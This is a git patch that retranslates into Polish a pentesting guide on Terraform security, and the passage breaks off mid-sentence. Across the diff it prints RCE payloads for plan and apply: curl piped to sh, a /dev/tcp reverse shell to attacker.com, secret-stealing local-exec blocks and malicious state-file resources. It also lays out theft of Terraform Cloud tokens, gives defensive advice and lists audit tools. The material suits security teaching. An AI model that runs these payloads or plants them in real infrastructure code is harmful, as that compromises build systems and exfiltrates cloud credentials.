From 5d3aa399e6c73e9b42fde593aabc194bdd63c6be Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 17 Nov 2025 15:47:32 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-ci-cd/terraform-security.md'] to pl --- src/pentesting-ci-cd/terraform-security.md | 255 ++++++++++++--------- 1 file changed, 147 insertions(+), 108 deletions(-) diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index 7d82f4928..baef6d9c1 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -1,4 +1,4 @@ -# Terraform Security +# Terraform Bezpieczeństwo {{#include ../banners/hacktricks-training.md}} @@ -6,21 +6,21 @@ [Z dokumentacji:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform to **narzędzie do infrastruktury jako kodu**, które pozwala definiować zarówno **zasoby w chmurze, jak i lokalne** w czytelnych dla człowieka plikach konfiguracyjnych, które można wersjonować, ponownie używać i udostępniać. Możesz następnie użyć spójnego przepływu pracy do provisioningu i zarządzania całą swoją infrastrukturą przez cały jej cykl życia. Terraform może zarządzać komponentami niskiego poziomu, takimi jak zasoby obliczeniowe, pamięci i sieciowe, a także komponentami wysokiego poziomu, takimi jak wpisy DNS i funkcje SaaS. +HashiCorp Terraform to **narzędzie infrastructure as code**, które pozwala zdefiniować zarówno **zasoby w chmurze, jak i on‑prem** w czytelnych dla człowieka plikach konfiguracyjnych, które możesz wersjonować, ponownie wykorzystywać i udostępniać. Następnie możesz użyć spójnego workflow do wdrażania i zarządzania całą infrastrukturą przez cały jej cykl życia. Terraform może zarządzać niskopoziomowymi komponentami, takimi jak zasoby obliczeniowe, pamięci i sieciowe, jak również wysokopoziomowymi komponentami, takimi jak wpisy DNS i funkcje SaaS. #### Jak działa Terraform? -Terraform tworzy i zarządza zasobami na platformach chmurowych i innych usługach za pośrednictwem ich interfejsów programowania aplikacji (API). Dostawcy umożliwiają Terraformowi pracę z praktycznie każdą platformą lub usługą z dostępnym API. +Terraform tworzy i zarządza zasobami na platformach chmurowych oraz innych usługach poprzez ich interfejsy programistyczne (APIs). Providery umożliwiają Terraformowi pracę praktycznie z dowolną platformą lub usługą posiadającą dostępne API. ![](<../images/image (177).png>) -HashiCorp i społeczność Terraform już napisały **ponad 1700 dostawców** do zarządzania tysiącami różnych typów zasobów i usług, a ta liczba wciąż rośnie. Wszystkie publicznie dostępne dostawcy można znaleźć w [Terraform Registry](https://registry.terraform.io/), w tym Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i wiele innych. +HashiCorp i społeczność Terraformu napisały już **ponad 1700 providerów** do zarządzania tysiącami różnych typów zasobów i usług, a ta liczba wciąż rośnie. Wszystkie publicznie dostępne providery znajdziesz w [Terraform Registry](https://registry.terraform.io/), w tym Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i wiele innych. -Podstawowy przepływ pracy Terraform składa się z trzech etapów: +Podstawowy workflow Terraform składa się z trzech etapów: -- **Napisz:** Definiujesz zasoby, które mogą być rozproszone w wielu dostawcach chmurowych i usługach. Na przykład możesz stworzyć konfigurację do wdrożenia aplikacji na maszynach wirtualnych w sieci Virtual Private Cloud (VPC) z grupami zabezpieczeń i równoważnikiem obciążenia. -- **Zaplanuj:** Terraform tworzy plan wykonania opisujący infrastrukturę, którą utworzy, zaktualizuje lub zniszczy na podstawie istniejącej infrastruktury i twojej konfiguracji. -- **Zastosuj:** Po zatwierdzeniu Terraform wykonuje proponowane operacje w odpowiedniej kolejności, respektując wszelkie zależności zasobów. Na przykład, jeśli zaktualizujesz właściwości VPC i zmienisz liczbę maszyn wirtualnych w tym VPC, Terraform najpierw odtworzy VPC przed skalowaniem maszyn wirtualnych. +- **Write:** Definiujesz zasoby, które mogą obejmować wiele dostawców chmurowych i usług. Na przykład możesz utworzyć konfigurację do wdrożenia aplikacji na maszynach wirtualnych w Virtual Private Cloud (VPC) z security groups i load balancerem. +- **Plan:** Terraform tworzy execution plan opisujący infrastrukturę, którą utworzy, zaktualizuje lub usunie na podstawie istniejącej infrastruktury i Twojej konfiguracji. +- **Apply:** Po zatwierdzeniu Terraform wykonuje proponowane operacje w odpowiedniej kolejności, respektując zależności między zasobami. Na przykład, jeśli zaktualizujesz właściwości VPC i zmienisz liczbę maszyn wirtualnych w tym VPC, Terraform odtworzy VPC przed skalowaniem maszyn wirtualnych. ![](<../images/image (215).png>) @@ -28,41 +28,41 @@ Podstawowy przepływ pracy Terraform składa się z trzech etapów: Po prostu zainstaluj terraform na swoim komputerze. -Tutaj masz [przewodnik](https://learn.hashicorp.com/tutorials/terraform/install-cli), a tutaj masz [najlepszy sposób na pobranie terraform](https://www.terraform.io/downloads). +Tutaj masz [przewodnik](https://learn.hashicorp.com/tutorials/terraform/install-cli) i tutaj masz [najlepszy sposób na pobranie terraform](https://www.terraform.io/downloads). -## RCE w Terraform: złośliwe modyfikacje pliku konfiguracyjnego +## RCE in Terraform: config file poisoning -Terraform **nie ma platformy, która udostępniałaby stronę internetową lub usługę sieciową**, którą możemy enumerować, dlatego jedynym sposobem na skompromitowanie terraform jest **możliwość dodawania/modyfikowania plików konfiguracyjnych terraform** lub **możliwość modyfikacji pliku stanu terraform** (zobacz rozdział poniżej). +Terraform **nie udostępnia platformy z stroną WWW ani usługą sieciową**, którą można by enumerować, dlatego jedynym sposobem na przejęcie terraform jest możliwość **dodawania/modyfikowania plików konfiguracyjnych terraform** lub możliwość **modyfikacji pliku stanu terraform** (zobacz rozdział poniżej). -Jednak terraform jest **bardzo wrażliwym komponentem** do skompromitowania, ponieważ będzie miał **uprzywilejowany dostęp** do różnych lokalizacji, aby mógł działać poprawnie. +Jednak terraform to **bardzo wrażliwy komponent** do skompromitowania, ponieważ będzie miał **uprzywilejowany dostęp** do różnych lokalizacji, aby mógł prawidłowo działać. -Głównym sposobem, w jaki atakujący może skompromitować system, na którym działa terraform, jest **skomprimitowanie repozytorium, które przechowuje konfiguracje terraform**, ponieważ w pewnym momencie będą one **interpretowane**. +Głównym sposobem dla atakującego na przejęcie systemu, na którym działa terraform, jest **skompromitowanie repozytorium przechowującego konfiguracje terraform**, ponieważ w pewnym momencie zostaną one **zinterpretowane**. -W rzeczywistości istnieją rozwiązania, które **automatycznie wykonują terraform plan/apply po utworzeniu PR**, takie jak **Atlantis**: +W rzeczywistości istnieją rozwiązania, które **wykonują terraform plan/apply automatycznie po utworzeniu PR**, takie jak **Atlantis**: {{#ref}} atlantis-security.md {{#endref}} -Jeśli uda ci się skompromitować plik terraform, istnieją różne sposoby, aby przeprowadzić RCE, gdy ktoś wykona `terraform plan` lub `terraform apply`. +Jeśli uda Ci się skompromitować plik terraform, istnieją różne sposoby na wykonanie RCE, gdy ktoś uruchomi `terraform plan` lub `terraform apply`. ### Terraform plan -Terraform plan to **najczęściej używane polecenie** w terraform i deweloperzy/rozwiązania korzystające z terraform używają go cały czas, więc **najłatwiejszym sposobem na uzyskanie RCE** jest upewnienie się, że zainfekujesz plik konfiguracyjny terraform, który wykona dowolne polecenia w `terraform plan`. +Terraform plan to **najczęściej używane polecenie** w terraform i deweloperzy/rozwiązania korzystające z terraform uruchamiają je cały czas, więc **najprostszy sposób na uzyskanie RCE** to upewnić się, że zatrujesz plik konfiguracyjny terraform, który wykona dowolne polecenia podczas `terraform plan`. -**Używając zewnętrznego dostawcy** +**Użycie providera external** -Terraform oferuje [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs), który zapewnia sposób interakcji między Terraform a programami zewnętrznymi. Możesz użyć źródła danych `external`, aby uruchomić dowolny kod podczas `plan`. +Terraform oferuje [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs), który zapewnia sposób interakcji między Terraformem a zewnętrznymi programami. Możesz użyć źródła danych `external`, aby uruchomić dowolny kod podczas `plan`. -Wstrzyknięcie do pliku konfiguracyjnego terraform czegoś takiego jak poniżej spowoduje wykonanie rev shell podczas wykonywania `terraform plan`: +Wstrzyknięcie do pliku konfiguracyjnego terraform czegoś takiego spowoduje wykonanie rev shell podczas uruchamiania `terraform plan`: ```javascript data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` -**Używanie niestandardowego dostawcy** +**Użycie niestandardowego providera** -Atakujący mógłby wysłać [niestandardowego dostawcę](https://learn.hashicorp.com/tutorials/terraform/provider-setup) do [Terraform Registry](https://registry.terraform.io/) i następnie dodać go do kodu Terraform w gałęzi funkcji ([przykład stąd](https://alex.kaskaso.li/post/terraform-plan-rce)): +Atakujący mógłby przesłać [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) do [Terraform Registry](https://registry.terraform.io/) i następnie dodać go do kodu Terraform w feature branchu ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)): ```javascript terraform { required_providers { @@ -75,13 +75,13 @@ version = "1.0" provider "evil" {} ``` -Dostawca jest pobierany w `init` i uruchomi złośliwy kod, gdy `plan` zostanie wykonany. +Provider jest pobierany podczas `init` i uruchomi złośliwy kod, gdy zostanie wykonany `plan` -Możesz znaleźć przykład w [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) +Przykład znajdziesz w [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) -**Używanie zewnętrznego odniesienia** +**Użycie zewnętrznego odwołania** -Obie wspomniane opcje są przydatne, ale nie bardzo dyskretne (druga jest bardziej dyskretna, ale bardziej skomplikowana niż pierwsza). Możesz przeprowadzić ten atak nawet w **bardziej dyskretny sposób**, stosując się do tych sugestii: +Obie wymienione opcje są przydatne, ale niezbyt dyskretne (druga jest bardziej dyskretna, lecz bardziej skomplikowana niż pierwsza). Możesz przeprowadzić ten atak w jeszcze bardziej **dyskretny sposób**, stosując się do poniższych sugestii: - Zamiast dodawać rev shell bezpośrednio do pliku terraform, możesz **załadować zewnętrzny zasób**, który zawiera rev shell: ```javascript @@ -89,14 +89,14 @@ module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` -Możesz znaleźć kod rev shell w [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) +You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) -- W zewnętrznym zasobie użyj funkcji **ref**, aby ukryć **kod rev shell terraform w gałęzi** wewnątrz repo, coś w stylu: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- W zewnętrznym zasobie użyj funkcji **ref** aby ukryć **terraform rev shell code in a branch** w repozytorium, na przykład: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply -Terraform apply zostanie wykonany, aby zastosować wszystkie zmiany, możesz go również nadużyć, aby uzyskać RCE, wstrzykując **złośliwy plik Terraform z** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ -Musisz tylko upewnić się, że jakiś ładunek, taki jak poniższe, kończy się w pliku `main.tf`: +Terraform apply zostanie wykonany, aby zastosować wszystkie zmiany; możesz też nadużyć go, aby uzyskać RCE, wstrzykując **złośliwy plik Terraform z** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ +Musisz tylko upewnić się, że jakiś payload podobny do poniższych znajduje się w pliku `main.tf`: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { @@ -112,11 +112,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` -Postępuj zgodnie z **zaleceniami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej ukryty sposób, korzystając z zewnętrznych odniesień**. +Postępuj zgodnie z **sugestiami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej dyskretny sposób, używając zewnętrznych odwołań**. -## Zrzuty sekretów +## Secrets Dumps -Możesz uzyskać **wartości sekretów używanych przez terraform** uruchamiając `terraform apply`, dodając do pliku terraform coś takiego: +Możesz spowodować, że **secret values used by terraform dumped** uruchamiając `terraform apply` przez dodanie do pliku terraform czegoś takiego: ```json output "dotoken" { value = nonsensitive(var.do_token) @@ -124,15 +124,15 @@ value = nonsensitive(var.do_token) ``` ## Wykorzystywanie plików stanu Terraform -W przypadku, gdy masz dostęp do zapisu plików stanu terraform, ale nie możesz zmienić kodu terraform, [**to badanie**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) oferuje kilka interesujących opcji, aby skorzystać z pliku. Nawet jeśli miałbyś dostęp do plików konfiguracyjnych, użycie wektora plików stanu jest często znacznie bardziej podstępne, ponieważ nie zostawiasz śladów w historii `git`. +W przypadku gdy masz prawa zapisu do plików stanu terraform, ale nie możesz zmieniać kodu terraform, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) przedstawia kilka interesujących opcji wykorzystania takiego pliku. Nawet jeśli miałbyś prawa zapisu do plików konfiguracyjnych, użycie wektora plików stanu jest często znacznie bardziej podstępne, ponieważ nie zostawiasz śladów w historii `git`. -### RCE w Terraform: zanieczyszczenie pliku konfiguracyjnego +### RCE in Terraform: config file poisoning -Możliwe jest [stworzenie niestandardowego dostawcy](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) i po prostu zastąpienie jednego z dostawców w pliku stanu terraform złośliwym lub dodanie fałszywego zasobu odwołującego się do złośliwego dostawcy. +Możliwe jest [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) i po prostu zastąpić jednego z providerów w pliku stanu terraform złośliwym albo dodać fałszywy resource odwołujący się do złośliwego providera. -Dostawca [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) opiera się na badaniach i wykorzystuje tę zasadę. Możesz dodać fałszywy zasób i określić dowolne polecenie bash, które chcesz uruchomić w atrybucie `command`. Gdy uruchomiony zostanie `terraform`, zostanie to odczytane i wykonane zarówno w krokach `terraform plan`, jak i `terraform apply`. W przypadku kroku `terraform apply`, `terraform` usunie fałszywy zasób z pliku stanu po wykonaniu twojego polecenia, sprzątając po sobie. Więcej informacji i pełna demonstracja można znaleźć w [repozytorium GitHub, które hostuje kod źródłowy dla tego dostawcy](https://github.com/offensive-actions/terraform-provider-statefile-rce). +Provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) opiera się na tym badaniu i uzbraja tę zasadę. Możesz dodać fałszywy resource i umieścić dowolne polecenie bash, które chcesz wykonać, w atrybucie `command`. Gdy uruchomione zostanie `terraform`, polecenie to zostanie odczytane i wykonane zarówno w krokach `terraform plan`, jak i `terraform apply`. W przypadku kroku `terraform apply`, `terraform` usunie fałszywy resource z pliku stanu po wykonaniu twojego polecenia, sprzątając po sobie. Więcej informacji i pełne demo można znaleźć w [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce). -Aby użyć go bezpośrednio, wystarczy dodać poniższe w dowolnym miejscu w tablicy `resources` i dostosować atrybuty `name` i `command`: +Aby użyć tego bezpośrednio, po prostu dołącz poniższy fragment w dowolnym miejscu tablicy `resources` i dostosuj atrybuty `name` oraz `command`: ```json { "mode": "managed", @@ -152,15 +152,15 @@ Aby użyć go bezpośrednio, wystarczy dodać poniższe w dowolnym miejscu w tab ] } ``` -Wtedy, gdy `terraform` zostanie wykonany, twój kod zostanie uruchomiony. +Then, as soon as `terraform` gets executed, your code will run. ### Usuwanie zasobów -Istnieją 2 sposoby na zniszczenie zasobów: +Istnieją 2 sposoby na usunięcie zasobów: -1. **Wstaw zasób o losowej nazwie do pliku stanu wskazującego na rzeczywisty zasób do zniszczenia** +1. **Wstaw do pliku stanu zasób o losowej nazwie wskazujący na rzeczywisty zasób do usunięcia** -Ponieważ terraform zobaczy, że zasób nie powinien istnieć, zniszczy go (zgodnie z rzeczywistym identyfikatorem zasobu wskazanym). Przykład z poprzedniej strony: +Ponieważ `terraform` zobaczy, że zasób nie powinien istnieć, zniszczy go (używając wskazanego rzeczywistego ID zasobu). Przykład z poprzedniej strony: ```json { "mode": "managed", @@ -176,13 +176,13 @@ Ponieważ terraform zobaczy, że zasób nie powinien istnieć, zniszczy go (zgod ] }, ``` -2. **Zmień zasób do usunięcia w sposób, który uniemożliwia aktualizację (tak, aby został usunięty i odtworzony)** +2. **Zmień zasób tak, aby został usunięty w sposób uniemożliwiający jego aktualizację (czyli zostanie usunięty i odtworzony)** -W przypadku instancji EC2, zmiana typu instancji wystarczy, aby terraform usunął i odtworzył ją. +Dla instancji EC2 zmiana typu instancji wystarczy, aby terraform usunął i odtworzył ją. -### Zastąp zablokowanego dostawcę +### Zastąp zablokowany provider -W przypadku napotkania sytuacji, w której `hashicorp/external` został zablokowany, możesz ponownie zaimplementować dostawcę `external`, wykonując następujące kroki. Uwaga: Używamy forka dostawcy external opublikowanego przez https://registry.terraform.io/providers/nazarewk/external/latest. Możesz również opublikować własny fork lub ponowną implementację. +Jeśli napotkasz sytuację, w której `hashicorp/external` został zablokowany, możesz ponownie zaimplementować provider `external`, wykonując poniższe kroki. Uwaga: używamy forka providera external opublikowanego pod adresem https://registry.terraform.io/providers/nazarewk/external/latest. Możesz też opublikować własny fork lub ponowną implementację. ```terraform terraform { required_providers { @@ -193,27 +193,27 @@ version = "3.0.0" } } ``` -Możesz wtedy użyć `external` jak zwykle. +Następnie możesz użyć `external` jak zwykle. ```terraform data "external" "example" { program = ["sh", "-c", "whoami"] } ``` -## Terraform Cloud speculative plan RCE i eksfiltracja poświadczeń +## Terraform Cloud speculative plan RCE and credential exfiltration -Ten scenariusz wykorzystuje runnerów Terraform Cloud (TFC) podczas spekulacyjnych planów do przejęcia kontroli nad docelowym kontem w chmurze. +Ten scenariusz nadużywa Terraform Cloud (TFC) runners podczas speculative plans, aby pivot into the target cloud account. - Warunki wstępne: -- Ukradnij token Terraform Cloud z maszyny dewelopera. CLI przechowuje tokeny w formacie tekstowym w `~/.terraform.d/credentials.tfrc.json`. -- Token musi mieć dostęp do docelowej organizacji/obszaru roboczego i przynajmniej uprawnienia `plan`. Obszary robocze oparte na VCS blokują `apply` z CLI, ale nadal pozwalają na spekulacyjne plany. +- Ukradnij token Terraform Cloud z maszyny dewelopera. CLI przechowuje tokeny w postaci zwykłego tekstu w `~/.terraform.d/credentials.tfrc.json`. +- Token musi mieć dostęp do docelowej organization/workspace i co najmniej uprawnienie `plan`. VCS-backed workspaces blokują `apply` z CLI, ale nadal pozwalają na speculative plans. -- Odkryj ustawienia obszaru roboczego i VCS za pomocą API TFC: +- Odkryj workspace i ustawienia VCS za pomocą TFC API: ```bash export TF_TOKEN= curl -s -H "Authorization: Bearer $TF_TOKEN" \ https://app.terraform.io/api/v2/organizations//workspaces/ | jq ``` -- Wywołaj wykonanie kodu podczas spekulacyjnego planu, używając zewnętrznego źródła danych i bloku "cloud" Terraform Cloud, aby celować w przestrzeń roboczą opartą na VCS: +- Wywołaj wykonanie kodu podczas speculative plan, używając external data source oraz Terraform Cloud "cloud" block, aby zaatakować VCS-backed workspace: ```hcl terraform { cloud { @@ -226,30 +226,30 @@ data "external" "exec" { program = ["bash", "./rsync.sh"] } ``` -Przykład rsync.sh do uzyskania odwrotnej powłoki na uruchamiaczu TFC: +Przykładowy rsync.sh, aby uzyskać reverse shell na TFC runner: ```bash #!/usr/bin/env bash bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1' ``` -Uruchom spekulacyjny plan, aby wykonać program na tymczasowym runnerze: +Uruchom spekulatywny plan, aby wykonać program na ephemeral runner: ```bash terraform init terraform plan ``` -- Wymień i wyeksfiltruj wstrzyknięte dane uwierzytelniające chmury z runnera. Podczas uruchamiania, TFC wstrzykuje dane uwierzytelniające dostawcy za pomocą plików i zmiennych środowiskowych: +- Wypisz i wyeksfiltruj wstrzyknięte poświadczenia chmurowe z runnera. Podczas uruchomień TFC wstrzykuje poświadczenia providerów poprzez pliki i zmienne środowiskowe: ```bash env | grep -i gcp || true env | grep -i aws || true ``` Oczekiwane pliki w katalogu roboczym runnera: - GCP: -- `tfc-google-application-credentials` (konfiguracja JSON federacji tożsamości obciążenia) -- `tfc-gcp-token` (token dostępu GCP o krótkim czasie życia) +- `tfc-google-application-credentials` (Workload Identity Federation JSON config) +- `tfc-gcp-token` (krótkotrwały GCP access token) - AWS: -- `tfc-aws-shared-config` (konfiguracja założenia roli tożsamości webowej/OIDC) -- `tfc-aws-token` (token o krótkim czasie życia; niektóre organizacje mogą używać statycznych kluczy) +- `tfc-aws-shared-config` (web identity/OIDC role assumption config) +- `tfc-aws-token` (krótkotrwały token; niektóre organizacje mogą używać statycznych kluczy) -- Użyj krótkoterminowych poświadczeń poza pasmem, aby obejść bramy VCS: +- Użyj krótkotrwałych poświadczeń poza kanałem, aby obejść zabezpieczenia VCS: GCP (gcloud): ```bash @@ -263,28 +263,54 @@ export AWS_CONFIG_FILE=./tfc-aws-shared-config export AWS_PROFILE=default aws sts get-caller-identity ``` -Z tymi poświadczeniami, atakujący mogą tworzyć/modyfikować/niszczyć zasoby bezpośrednio za pomocą natywnych interfejsów CLI, omijając przepływy pracy oparte na PR, które blokują `apply` za pośrednictwem VCS. +Dzięki tym poświadczeniom atakujący mogą tworzyć/modyfikować/usuwać zasoby bezpośrednio za pomocą natywnych CLI, omijając przepływy pracy oparte na PR, które blokują `apply` przez VCS. -- Wskazówki obronne: -- Zastosuj zasadę najmniejszych uprawnień dla użytkowników/zespołów TFC i tokenów. Audytuj członkostwa i unikaj zbyt dużych właścicieli. -- Ogranicz uprawnienia `plan` w wrażliwych przestrzeniach roboczych opartych na VCS, gdzie to możliwe. -- Wymuszaj listy dozwolonych dostawców/źródeł danych za pomocą polityk Sentinel, aby zablokować `data "external"` lub nieznanych dostawców. Zobacz wskazówki HashiCorp dotyczące filtrowania dostawców. -- Preferuj OIDC/WIF zamiast statycznych poświadczeń chmurowych; traktuj runnerów jako wrażliwe. Monitoruj spekulacyjne uruchomienia planów i nieoczekiwany egress. -- Wykrywaj eksfiltrację artefaktów poświadczeń `tfc-*` i powiadamiaj o podejrzanym użyciu programów `external` podczas planów. +- Defensive guidance: +- Stosuj zasadę najmniejszych uprawnień wobec użytkowników/zespołów i tokenów TFC. Audytuj członkostwa i unikaj nadmiernie szerokich uprawnień właścicieli. +- Ogranicz uprawnienie `plan` w wrażliwych workspaces opartych na VCS tam, gdzie to możliwe. +- Wymuś listy dozwolonych providerów/źródeł danych za pomocą polityk Sentinel, aby zablokować `data "external"` lub nieznanych providerów. Zobacz wytyczne HashiCorp dotyczące filtrowania providerów. +- Preferuj OIDC/WIF zamiast statycznych poświadczeń chmurowych; traktuj runners jako zasoby wrażliwe. Monitoruj spekulacyjne uruchomienia planów i nieoczekiwany egress. +- Wykrywaj eksfiltrację artefaktów poświadczeń `tfc-*` i generuj alerty przy podejrzanym użyciu programu `external` podczas planów. -## Narzędzia do automatycznego audytu +## Kompromitacja Terraform Cloud + +### Użycie tokena + +As **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI stores tokens in plaintext at **`~/.terraform.d/credentials.tfrc.json`**. Ukradzenie tego tokena pozwala atakującemu podszyć się pod użytkownika w zakresie uprawnień tokena. + +Używając tego tokena, można uzyskać org/workspace za pomocą: +```bash +GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod +Authorization: Bearer +``` +Wówczas możliwe jest uruchomienie dowolnego kodu za pomocą **`terraform plan`**, jak wyjaśniono w poprzednim rozdziale. + +### Ucieczka do chmury + +Jeżeli runner znajduje się w środowisku chmurowym, można uzyskać token podmiotu przypisanego do runnera i wykorzystać go poza tym środowiskiem. + +- **Pliki GCP (obecne w katalogu roboczym bieżącego uruchomienia)** +- `tfc-google-application-credentials` — konfiguracja JSON dla Workload Identity Federation (WIF), która mówi Google, jak wymienić zewnętrzną tożsamość. +- `tfc-gcp-token` — krótkotrwały (≈1 godz.) token dostępu GCP, na który odwołuje się powyższy. + +- **Pliki AWS** +- `tfc-aws-shared-config` — JSON dla web identity federation/OIDC role assumption (preferowane zamiast statycznych kluczy). +- `tfc-aws-token` — krótkotrwały token, lub potencjalnie statyczne klucze IAM jeśli źle skonfigurowane. + + +## Narzędzia automatycznego audytu ### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) -Snyk oferuje kompleksowe rozwiązanie do skanowania Infrastructure as Code (IaC), które wykrywa luki w zabezpieczeniach i błędne konfiguracje w Terraform, CloudFormation, Kubernetes i innych formatach IaC. +Snyk oferuje kompleksowe rozwiązanie do skanowania Infrastructure as Code (IaC), które wykrywa podatności i błędy konfiguracji w Terraform, CloudFormation, Kubernetes i innych formatach IaC. - **Funkcje:** -- Skanowanie w czasie rzeczywistym w poszukiwaniu luk w zabezpieczeniach i problemów z zgodnością. +- Skanowanie w czasie rzeczywistym w celu wykrywania podatności i problemów ze zgodnością. - Integracja z systemami kontroli wersji (GitHub, GitLab, Bitbucket). -- Zautomatyzowane pull requesty z poprawkami. -- Szczegółowe porady dotyczące usuwania problemów. -- **Zarejestruj się:** Utwórz konto na [Snyk](https://snyk.io/). +- Automatyczne pull requesty z poprawkami. +- Szczegółowe porady dotyczące naprawy. +- **Sign Up:** Utwórz konto na [Snyk](https://snyk.io/). ```bash brew tap snyk/tap brew install snyk @@ -293,28 +319,28 @@ snyk iac test /path/to/terraform/code ``` ### [Checkov](https://github.com/bridgecrewio/checkov) -**Checkov** to narzędzie do analizy statycznej kodu dla infrastruktury jako kodu (IaC) oraz narzędzie do analizy składu oprogramowania (SCA) dla obrazów i pakietów open source. +**Checkov** to narzędzie do statycznej analizy kodu dla infrastruktury jako kodu (IaC) oraz narzędzie do analizy składu oprogramowania (SCA) dla obrazów i pakietów open source. -Skanuje infrastrukturę chmurową dostarczoną za pomocą [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) lub [OpenTofu](https://opentofu.org/) i wykrywa błędy w konfiguracji bezpieczeństwa i zgodności za pomocą skanowania opartego na grafach. +Skanuje infrastrukturę chmurową provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) i wykrywa problemy z bezpieczeństwem oraz niezgodności z wymaganiami compliance za pomocą skanowania opartego na grafie. -Wykonuje [analizę składu oprogramowania (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), która jest skanowaniem pakietów open source i obrazów pod kątem powszechnych luk w zabezpieczeniach (CVE). +Wykonuje [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), które jest skanem pakietów open source i obrazów w poszukiwaniu Common Vulnerabilities and Exposures (CVEs). ```bash pip install checkov checkov -d /path/to/folder ``` ### [terraform-compliance](https://github.com/terraform-compliance/cli) -Z [**dokumentacji**](https://github.com/terraform-compliance/cli): `terraform-compliance` to lekkie, skoncentrowane na bezpieczeństwie i zgodności ramy testowe dla terraform, które umożliwiają negatywne testowanie twojej infrastruktury jako kodu. +Z [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` to 